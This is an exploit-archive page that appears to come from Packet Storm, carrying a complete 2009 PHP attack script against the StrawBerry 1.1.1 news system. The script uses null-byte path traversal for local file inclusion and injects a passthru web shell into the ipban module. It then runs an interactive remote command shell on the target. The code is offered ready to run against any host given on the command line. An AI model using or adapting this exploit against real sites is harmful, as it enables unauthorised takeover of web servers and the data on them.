what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

StrawBerry 1.1.1 Local File Inclusion

StrawBerry 1.1.1 Local File Inclusion
Posted May 15, 2009
Authored by [AVT] | Site antichat.ru

StrawBerry version 1.1.1 local file inclusion and remote command execution exploit.

tags | exploit, remote, local, file inclusion
SHA-256 | 3eedb539474d00b7bb96788c419e57a7f851d345f38f92befea1840592d15da6

StrawBerry 1.1.1 Local File Inclusion

Change Mirror Download
<?php

/*********************************************************************
* StrawBerry 1.1.1 LFI / Remote Command Execution Exploit *
* Site: http://strawberry.goodgirl.ru/ *
*********************************************************************
* magic_quotes_gpc = Off *
*********************************************************************
* Author: [AVT] *
* Date : 10.05.09 *
* My Site: http://antichat.ru/ *
*********************************************************************/
set_time_limit(0);
error_reporting(0);
list($cli,$host,$path) = $argv;

if ($argc != 3) {

print "\no-------------------------------------------------------------o\n";
print "\r| StrawBerry 1.1.1 LFI / Remote Command Execution Exploit |\n";
print "\r| Site: http://strawberry.goodgirl.ru/ |\n";
print "\ro-------------------------------------------------------------o\n";
print "\r| Author: [AVT] |\n";
print "\r| My Site: http://antichat.ru/ |\n";
print "\ro-------------------------------------------------------------o\n";
print "\r| Usage: php expl.php [host] [path] |\n";
print "\r| host localhost |\n";
print "\r| path /news/ |\n";
print "\r| Example: php expl.php site.com /news/ |\n";
print "\ro-------------------------------------------------------------o\n";
exit;
}
if (check_host ())
{
post_shell();
}
use_shell();

function check_host ()
{
global $host,$path;
$data = "GET {$path}example/index.php?do=../../../../db/base/ipban.MYD%00 HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: close\r\n\r\n";
$html = send ($host,$data);
if (!stristr($html,'a:'))
{
print "\ro-------------------------------------------------------------o\n";
print "\r| Exploit Failed! |\n";
print "\ro-------------------------------------------------------------o\n";
exit;
}
elseif (stristr($html,'<code>'))
{
return false;
}
else
{
return true;
}
}


function send ($host,$data)
{
if (!$sock = @fsockopen($host,80))
{
die("Connection refused, try again!\n");
}
fputs($sock,$data);
while (!feof($sock)) { $html .= fgets($sock); }
fclose($sock);
return $html;
}

function post_shell()
{
global $host,$path;
$post = "add_ip=" . urlencode('<code><?php passthru(base64_decode($_GET[cmd]));?></code>') . "&action=add&mod=ipban";
$data .= "POST {$path}example/index.php?do=../../../../../inc/mod/ipban.mdu%00 HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($post)."\r\n\r\n";
$data .= "$post\r\n\r\n";
send ($host,$data);
}


function use_shell()
{
while (1)
{
echo "[Shell]~$: ";
$cmd = stripslashes(trim(fgets(STDIN)));
if (preg_match('/^(exit|--exit|quit|--quit)$/i',$cmd)) die("\nExited\n");
print exec_cmd($cmd);
}
}


function exec_cmd($cmd)
{
global $host,$path;

$cmd = base64_encode($cmd);
$data .= "GET {$path}example/index.php?cmd={$cmd}&do=../../../../db/base/ipban.MYD%00 HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: close\r\n\r\n";
$html = send ($host,$data);
preg_match_all('/<code>(.*)<\/code>/si', $html, $match);
return $match[1][0];
}

?>


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close